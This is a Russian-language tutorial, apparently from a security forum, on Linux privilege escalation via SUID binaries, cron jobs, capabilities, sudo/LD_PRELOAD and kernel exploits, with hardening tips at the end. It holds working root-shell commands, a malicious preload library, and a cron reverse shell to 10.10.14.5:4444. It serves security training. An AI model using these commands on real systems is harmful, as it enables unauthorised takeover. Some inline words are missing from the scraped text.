Ты только что получил шелл от
через дыру в веб-приложении. Терминал мигает, команды работают, но при попытке прочитать
-
. Знакомая картина. Между тобой и полным контролем над системой стоит этап повышения привилегий Linux, и именно он решает, уйдёшь ты с трофеем или с пустыми руками - весь контекст: от настройки окружения до автоматизации - в
руководстве Linux для пентестера.
Здесь я разберу четыре основных вектора
эскалации привилегий: SUID-бинари, cron-задачи, Linux capabilities и kernel exploits. Не абстрактную теорию - конкретные команды с реальным выводом терминала и объяснением, почему каждый приём работает на уровне Unix-прав. Материал построен так, как я сам провожу post-exploitation на пентестах и при прохождении машин на HackTheBox.
Фаза нулевая: разведка системы перед эскалацией
Прежде чем бросаться эксплуатировать что-либо - пойми, с чем имеешь дело. Enumeration - фундамент любого повышения привилегий в Linux. Без разведки ты стреляешь вслепую.
Ручная разведка: что проверять первым делом
Получив низкопривилегированный шелл, первым делом стабилизируй его. Ограниченная оболочка не даст нормально работать с sudo и интерактивными командами:
Bash:
Код:
python3 -c
'import pty;pty.spawn("/bin/bash")'
export
TERM
=
xterm
# Ctrl+Z, затем:
stty raw -echo
;
fg
Теперь собираем информацию. Каждая команда - кирпичик в картине потенциальных векторов атаки:
Bash:
Код:
# Кто я и в каких группах
id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
# Версия ядра - нужна для поиска kernel exploits
uname
-a
# Linux target 5.15.0-91-generic #101-Ubuntu SMP x86_64
# Версия дистрибутива
cat
/etc/os-release
# Что разрешено через sudo
sudo
-l
# (root) NOPASSWD: /usr/bin/find
# SUID-бинари в системе
find
/ -perm -4000 -type f
2>
/dev/null
# Capabilities на файлах
getcap -r /
2>
/dev/null
# Cron-задачи
cat
/etc/crontab
ls
-la /etc/cron.d/
# Поиск паролей в конфигах
grep
-lRi
"password"
/home /var/www /etc
2>
/dev/null
|
head
-20
Это минимум, который я выполняю на каждой машине. Запомни: повышение привилегий - на 80% разведка и на 20% эксплуатация.
Автоматизированные инструменты для Linux privesc
Ручная разведка - хорошо, но автоматизация экономит время. Три инструмента, которые я гоняю постоянно:
LinPEAS - самый жирный скрипт для поиска векторов эскалации привилегий. Цветовая кодировка: красно-жёлтая подсветка - 95% вероятность рабочего вектора.
Bash:
Код:
# Загрузка и запуск на целевой машине
curl
-L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
|
sh
pspy - мониторинг процессов без root-прав. Незаменим для обнаружения скрытых cron-задач, которые не видны в
:
Bash:
Код:
# Загружаем pspy на целевую машину и запускаем
./pspy64
# Наблюдаем процессы, запускаемые от root по расписанию
Linux Exploit Suggester - анализирует версию ядра и предлагает подходящие kernel exploits с оценкой вероятности успеха.
Теперь к конкретным техникам.
SUID эксплуатация Linux: когда бинарник делает тебя root
SUID (Set User ID) - специальный бит разрешений в Unix. Когда он установлен на исполняемый файл, тот запускается не от имени текущего пользователя, а от имени владельца файла. Владелец - root? Поздравляю, ты фактически выполняешь код с root-привилегиями.
В терминологии MITRE ATT&CK это техника Setuid and Setgid (T1548.001), которая относится к тактикам privilege-escalation и defense-evasion.
Поиск уязвимых SUID-бинарей
Bash:
Код:
find
/ -perm -u
=
s -type f
2>
/dev/null
Типичный вывод на уязвимой системе:
Код:
Код:
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/find
/usr/bin/vim.basic
/usr/bin/bash
/usr/bin/nmap
Стандартные SUID-бинари вроде
и
- это нормально, так и задумано. А вот
,
,
или
с SUID-битом - прямой путь к root.
Эксплуатация SUID find
Допустим,
имеет SUID-бит и принадлежит root. Почему это опасно? У
есть параметр
, который выполняет произвольные команды. А раз
запускается от root - команда тоже отработает от root:
Bash:
Код:
# Проверяем SUID на find
ls
-la /usr/bin/find
# -rwsr-xr-x 1 root root 233984 /usr/bin/find
# Эксплуатация - получаем root shell
find
.
-exec /bin/bash -p
\
;
-quit
# bash-5.1# whoami
# root
Флаг
у bash тут критически важен: он говорит оболочке сохранить привилегии SUID. Без него bash сбросит эффективный UID (euid) обратно к реальному (ruid). Обрати внимание: при эксплуатации через
флаг
не нужен - sudo запускает процесс уже с uid=0, а не просто с euid=0.
Эксплуатация SUID vim
Bash:
Код:
vim
-c
':!/bin/bash -p'
# Или из самого vim: нажать Esc, ввести :!/bin/bash -p
Vim при SUID-бите позволяет вызвать shell прямо из редактора. На практике я видел такую конфигурацию не раз - админы ставят SUID на vim, чтобы определённые пользователи могли редактировать системные файлы. Не делайте так. Серьёзно.
Эксплуатация SUID bash
Самый простой случай. Если
имеет SUID-бит:
Bash:
Код:
bash
-p
# bash-5.1# id
# uid=33(www-data) gid=33(www-data) euid=0(root)
Значение
- эффективный UID стал root. Можешь читать
, писать в
и делать всё, что делает root.
Главный ресурс для поиска способов злоупотребления SUID - проект GTFOBins. Там собраны сотни бинарей с описанием, как через каждый из них получить shell, читать/писать файлы или обойти ограничения. Если нашёл нестандартный SUID - первым делом иди туда.
Повышение привилегий через cron: когда расписание работает на тебя
Cron - планировщик задач в Linux, выполняющий скрипты по расписанию. По MITRE ATT&CK это техника Cron (T1053.003), которая одновременно относится к тактикам execution, persistence и privilege-escalation.
Суть атаки простая: если cron выполняет скрипт от root, а у тебя есть право на запись в этот скрипт - ты контролируешь код, который выполнится с root-привилегиями.
Разведка cron-задач
Bash:
Код:
# Системные cron-задачи
cat
/etc/crontab
# * * * * * root /home/lowpriv/backup.sh
# Задачи в директориях cron
ls
-la /etc/cron.d/
ls
-la /etc/cron.daily/
# Проверяем права на скрипт
ls
-la /home/lowpriv/backup.sh
# -rwxrwxrwx 1 root root 45 /home/lowpriv/backup.sh
Видишь
? Любой пользователь может изменить скрипт. А cron выполнит его от root. Классическая misconfiguration - и встречается чаще, чем хотелось бы.
Эксплуатация writable cron-скрипта
Несколько вариантов. Самый надёжный - создать SUID-копию bash:
Bash:
Код:
# Перезаписываем скрипт
echo
'#!/bin/bash
cp /usr/bin/bash /tmp/rootbash
chmod +s /tmp/rootbash'
>
/home/lowpriv/backup.sh
# Ждём выполнения cron (до 1 минуты при * * * * *)
# Затем:
/tmp/rootbash -p
# whoami
# root
Альтернативный вариант - reverse shell:
Bash:
Код:
echo
'#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'
>
/home/lowpriv/backup.sh
На своей машине запускаешь listener:
- и через минуту получаешь root shell.
Скрытые cron-задачи и pspy
Не все cron-задачи видны в
. У root могут быть персональные crontab-записи, которые
не увидит. Именно тут спасает pspy:
Bash:
Код:
./pspy64
# 2024/01/15 10:00:01 CMD: UID=0 PID=1234 | /bin/bash /opt/scripts/cleanup.sh
# 2024/01/15 10:01:01 CMD: UID=0 PID=1235 | /bin/bash /opt/scripts/cleanup.sh
Если
Код:
/opt/scripts/cleanup.sh
доступен на запись - используй ту же технику. Согласно исследованию Got Root? A Linux Priv-Esc Benchmark (arxiv.org), cron-уязвимости реализуются как с видимыми crontab-записями, так и со скрытыми скриптами в домашней директории. Так что pspy - обязательный инструмент, если хочешь полное покрытие.
Linux capabilities эксплуатация: тонкий контроль с грубыми последствиями
Capabilities - механизм, который разбивает монолитные root-привилегии на мелкие единицы. Вместо полного root-доступа файлу можно выдать конкретную «способность»: например,
Код:
cap_net_bind_service
для привязки к портам ниже 1024.
Идея красивая. Проблема в том, что некоторые capabilities дают фактический root-доступ, а админы не всегда это понимают (или понимают, но «временно, потом уберём»).
Поиск файлов с capabilities
Bash:
Код:
getcap -r /
2>
/dev/null
# /usr/bin/python3.8 = cap_setuid+ep
# /usr/bin/perl = cap_setuid+ep
# /usr/bin/ping = cap_net_raw+ep
на ping - нормально. А вот
на python или perl - это по сути тот же SUID-бит, только в профиль. Флаг
означает effective и permitted - capability активна и разрешена.
Эксплуатация cap_setuid на Python
Capability
позволяет процессу менять свой UID. Python с этой capability становится root одной строкой:
Bash:
Код:
/usr/bin/python3.8 -c
'import os; os.setuid(0); os.system("/bin/bash")'
# root@target:~# whoami
# root
Почему работает?
меняет UID процесса на 0 (root). Обычно непривилегированному пользователю это запрещено, но capability
снимает ограничение. После смены UID любой порождённый процесс (в нашем случае
) наследует root-привилегии.
Эксплуатация cap_setuid на Perl
Bash:
Код:
/usr/bin/perl -e
'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'
Та же механика: Perl вызывает
через POSIX-модуль, затем запускает bash.
Другие опасные capabilities
CapabilityПочему опаснаВектор эксплуатацииcap_setuidСмена UID на 0Прямое переключение на rootcap_setgidСмена GIDПрисоединение к группе root/shadowcap_dac_overrideИгнорирование прав на файлыЧтение/запись /etc/shadowcap_dac_read_searchЧтение любых файловИзвлечение паролей из конфиговcap_sys_adminМонтирован е файловых системМонтирование хостовой ФС
Вектор, который русскоязычные руководства по Linux privesc почти не покрывают. В моей практике capabilities встречаются на CTF-машинах среднего уровня и на реальных серверах, где разработчики «временно» выдали capability контейнеру или скрипту. Временное, как известно, самое постоянное.
Sudo misconfiguration: когда администратор сам открывает дверь
Техника Sudo and Sudo Caching (T1548.003) по MITRE ATT&CK. Первая команда после получения шелла -
. Если система спрашивает пароль, а у тебя его нет (типичный случай с
) - вектор через sudo маловероятен. Но если пароль нашёлся в конфиге или через credential reuse - проверяй обязательно.
Типичные опасные разрешения sudo
Bash:
Код:
sudo
-l
# User www-data may run the following commands:
# (ALL) NOPASSWD: /usr/bin/find
# (ALL) NOPASSWD: /usr/bin/vim
# (ALL) NOPASSWD: /usr/bin/python3
Каждый из этих случаев - мгновенный root.
Bash:
Код:
# Через find (sudo уже даёт uid=0, поэтому -p не нужен)
sudo
find
/ -exec /bin/bash
\
;
-quit
# Через vim
sudo
vim
-c
':!/bin/bash'
# Через python3
sudo
python3 -c
'import os; os.system("/bin/bash")'
Sudo с LD_PRELOAD
Более хитрый вектор, но крайне редкий на реальных системах. По умолчанию sudo сбрасывает переменные окружения (
). Вектор работает
только если в
явно указано
Код:
Defaults env_keep+=LD_PRELOAD
:
Bash:
Код:
# Создаём вредоносную shared library
cat
>
/tmp/privesc.c
#include
#include
// На glibc 2.34+ (Ubuntu 22.04+) _init() может не вызываться с -nostartfiles.
// Используем __attribute__((constructor)) как более надёжную альтернативу.
void __attribute__((constructor)) init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}
EOF
gcc -fPIC -shared -o /tmp/privesc.so /tmp/privesc.c
# Запускаем любую разрешённую команду с нашей библиотекой
sudo
LD_PRELOAD
=
/tmp/privesc.so /usr/bin/find
Это пример техники Dynamic Linker Hijacking (T1574.006) по MITRE ATT&CK. Работает, когда sudo сохраняет переменную
при выполнении команд. На практике я встречал такое ровно один раз - на CTF-машине. Но знать стоит.
Kernel exploit Linux: последний довод пентестера
Kernel exploits - техника Exploitation for Privilege Escalation (T1068) по MITRE ATT&CK. Эксплойты ядра дают прямой root, но я всегда оставляю их на крайний случай. Причины чисто практические: kernel exploit может уронить систему, оставить следы в логах, а на реальном пентесте завалить прод - верный способ потерять заказчика.
Тем не менее знать ключевые уязвимости необходимо.
Dirty COW (CVE-2016-5195)
По данным NVD, CVE-2016-5195 - race condition в
ядра Linux версий 2.x–4.x до 4.8.3. CVSS:
7.0 (HIGH), вектор:
Код:
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
. CWE-362 (Race Condition).
Сложность атаки
- эксплуатация зависит от гонки потоков, не всегда срабатывает с первого раза. Уязвимость позволяла непривилегированному пользователю получить запись в read-only memory mappings и через это повысить привилегии.
Bash:
Код:
# Разведка - проверяем версию ядра
uname
-r
# 3.13.0-55-generic - уязвимо
# Компиляция эксплойта
gcc -pthread dirtycow.c -o dirtycow -lcrypt
# Запуск
./dirtycow
# Переключение на созданного пользователя с root-правами
su
newuser
Как отмечают в Payatu, успешная эксплуатация DirtyCOW зависит от четырёх условий: уязвимое ядро, подходящий эксплойт, возможность передать его на целевую систему и возможность его исполнить. Четыре «если» - и каждое может не сложиться.
CVE-2024-1086: современная угроза
CVE-2024-1086 - use-after-free в компоненте
фреймворка netfilter ядра Linux. По данным NVD: CVSS
7.8 (HIGH), вектор:
Код:
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
. CWE-416 (Use After Free).
Обрати внимание на разницу с DirtyCOW: здесь
(Low Complexity) - эксплуатация проще и стабильнее. Затронутые версии ядра Linux:
- от 6.7 до 6.7.3
- от 6.2 до 6.6.15
- от 3.15 до 6.1.76 (публичный эксплойт протестирован на ядрах 5.14+)
- 6.8-rc1
По данным CrowdStrike, эксплуатацию в дикой природе наблюдали с апреля 2024 года. В мае 2024 CISA добавила CVE-2024-1086 в каталог Known Exploited Vulnerabilities. Функция
позволяет положительные значения как drop error в hook verdict, из-за чего
вызывает double-free при вердикте NF_DROP, который затем интерпретируется как NF_ACCEPT.
Эксплуатация зависит от доступности unprivileged user namespaces к
- включено по умолчанию в Debian, Ubuntu и CTF-дистрибутивах. Атакующий запускает double-free, сканирует физическую память для определения базового адреса ядра, обходит KASLR и перезаписывает
, после чего получает root shell.
Предупреждение от CrowdStrike (и лично от меня): после закрытия root shell, полученного через этот эксплойт, целевая система становится нестабильной и может упасть. На реальном пентесте это означает потенциальный инцидент. Использование kernel exploits без согласования с заказчиком - грубая ошибка.
Как искать подходящий kernel exploit
Bash:
Код:
# Узнаём версию ядра
uname
-r
# Используем linux-exploit-suggester
./linux-exploit-suggester.sh
# Или searchsploit на своей машине
searchsploit linux kernel
5.15
privilege escalation
Полный workflow: от шелла до root за 10 минут
Собираем все техники в единый процесс. Представь: ты получил шелл от
на Ubuntu-сервере.
Шаг 1 - Стабилизация и базовая разведка:
Bash:
Код:
python3 -c
'import pty;pty.spawn("/bin/bash")'
id
&&
uname
-a
&&
sudo
-l
Шаг 2 - Быстрая проверка ключевых векторов:
Bash:
Код:
# SUID
find
/ -perm -4000 -type f
2>
/dev/null
# Capabilities
getcap -r /
2>
/dev/null
# Writable cron scripts
cat
/etc/crontab
find
/ -writable -type f -name
"*.sh"
2>
/dev/null
# Пароли в конфигах
grep
-lRi
"password\|passwd\|pwd"
/var/www /home /etc
2>
/dev/null
|
head
-20
Шаг 3 - Автоматизация:
Bash:
Код:
# Если предыдущие шаги ничего не дали - запускаем LinPEAS
curl
-L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
|
sh
Шаг 4 - Эксплуатация найденного вектора. Допустим,
показал
на Python:
Bash:
Код:
/usr/bin/python3 -c
'import os; os.setuid(0); os.system("/bin/bash")'
whoami
# root
Шаг 5 - Проверка и закрепление:
Bash:
Код:
id
# uid=0(root) gid=33(www-data) groups=33(www-data)
cat
/root/proof.txt
# для CTF
# Или на пентесте - документируешь вектор и переходишь к следующей цели
Весь процесс укладывается в 5–10 минут, если знаешь, что искать. На CTF-платформах вроде HackTheBox этот workflow покрывает 80% машин уровня Easy и Medium.
Чем реальный пентест отличается от CTF
На CTF-машинах уязвимость всегда одна, и она гарантированно эксплуатируется. В реальном пентесте всё иначе:
АспектCTFРеальный пентестКоличество векторовОдин заложенныйМожет быть ноль или десятьСтабильность эксплойтовГарантированаKern el exploit может уронить продВремяНеограниченоЖёст кий scope и дедлайнПоследствия ошибкиНичего страшногоИнцидент у заказчикаЛогированиеНе отслеживаетсяSIEM фиксирует всё
Исследование Got Root? (arxiv.org) подчёркивает: конфигурационные уязвимости (SUID, sudo, cron) чаще ищутся вручную, а version-based exploits детектируются автоматически. Прокачка навыка ручной разведки даёт больший эффект, чем запоминание конкретных CVE. Лично я всегда начинаю руками - LinPEAS запускаю, только если ручной проход ничего не дал.
Рекомендации по защите от локального повышения привилегий
Для каждого вектора - конкретные меры:
Против SUID-эксплуатации:
Bash:
Код:
# Аудит SUID-файлов
find
/ -perm -4000 -type f -exec
ls
-la
{
}
\
;
2>
/dev/null
# Удаление лишних SUID
chmod
u-s /usr/bin/find
Против cron-атак:
Bash:
Код:
# Скрипты cron - владелец root, права 700
chmod
700
/opt/scripts/backup.sh
chown
root:root /opt/scripts/backup.sh
Против capabilities:
Bash:
Код:
# Аудит
getcap -r /
2>
/dev/null
# Удаление опасной capability
setcap -r /usr/bin/python3
Против kernel exploits - обновлять ядро. Это единственная надёжная защита. Для CVE-2024-1086 на момент публикации все основные дистрибутивы выпустили патчи.
Общий принцип - Principle of Least Privilege: каждый пользователь и процесс получают только те права, которые нужны для работы. Не больше. Звучит банально, но 90% описанных в статье векторов существуют именно потому, что кто-то выдал лишнее.
Итог
Повышение привилегий в Linux - не магия и не набор хаков для копирования. Это системный процесс: разведка, анализ, эксплуатация. SUID, cron, capabilities и kernel exploits - четыре столпа, на которых стоит большинство реальных эскалаций. Научись находить их вручную, пойми механику Unix-прав - и автоматизированные инструменты вроде LinPEAS станут не костылём, а усилителем.
Разверни уязвимую машину на TryHackMe (комната «Linux PrivEsc» от Tib3rius) или
Hackerlab и пройди весь workflow от шелла до root. Повтори пять раз - и повышение привилегий станет рефлексом. Потренировавшись на кошках, можно и на реальный проект.